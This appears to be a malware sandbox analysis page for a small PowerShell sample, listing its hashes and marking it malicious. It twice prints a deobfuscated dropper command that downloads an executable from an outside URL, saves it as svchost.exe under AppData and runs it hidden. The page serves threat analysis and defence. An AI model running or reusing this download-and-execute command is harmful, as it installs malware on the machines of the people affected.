Malicious
Malicious

28963018c4addb12d84d7fdfa95f8143

PowerShell
|
MD5: 28963018c4addb12d84d7fdfa95f8143
|
Size: 1.24 KB
|
application/x-powershell

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
28963018c4addb12d84d7fdfa95f8143
Sha1
4ba9bb58dbecf5f2afd0dc70d6eaa55bd0ac1ae2
Sha256
05ce9e030ca6e12da3c8dbe80b6b65131448b694980223b548cba07f0bba4292
Sha384
b6b09cb917e1d48fc42536d98a6846feaaaddf930f44c53f85e8a40edf6b44d443742c508e5dcf7e0b83da7bfb8152ea
Sha512
fd5340b045f6d2097afbde447e2a9ef88f319d0cefcfa0b5f3321470b4126cc4054ed5a5b9f4e69e607864537ed449bf721ff0e207d7f6373820d82b57e14c9f
SSDeep
24:Q2+O9OD6A/VYFp4/WT/DXT/VYAAZTQRtBZTUphfz9ZTnUMkWTX:qO9ODrVYFi/CrrVYAn9UptfnHj
TLSH
5B215912ABF60204F7B3BE54BE795431093B7E65EE3ADA4E40444D0E1871A18D9B0F63
File Structure
28963018c4addb12d84d7fdfa95f8143
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
Artefacts
Name
 Value
Deobfuscated PowerShell

"" Invoke-WebRequest -Uri "https://bursahotelphuket.com/zip/XClient.exe" -OutFile "%appdata%\svchost.exe" ""), 0, true objShell.Run(" "powershell" "Start-Process" -FilePath "%appdata%\svchost.exe" "), 0, true"
28963018c4addb12d84d7fdfa95f8143 (1.24 KB)
File Structure
28963018c4addb12d84d7fdfa95f8143
Malicious
[PowerShell Command]
Malicious
[Deobfuscated PS]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
Deobfuscated PowerShell

"" Invoke-WebRequest -Uri "https://bursahotelphuket.com/zip/XClient.exe" -OutFile "%appdata%\svchost.exe" ""), 0, true objShell.Run(" "powershell" "Start-Process" -FilePath "%appdata%\svchost.exe" "), 0, true"

Malicious

28963018c4addb12d84d7fdfa95f8143 > [PowerShell Command]
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙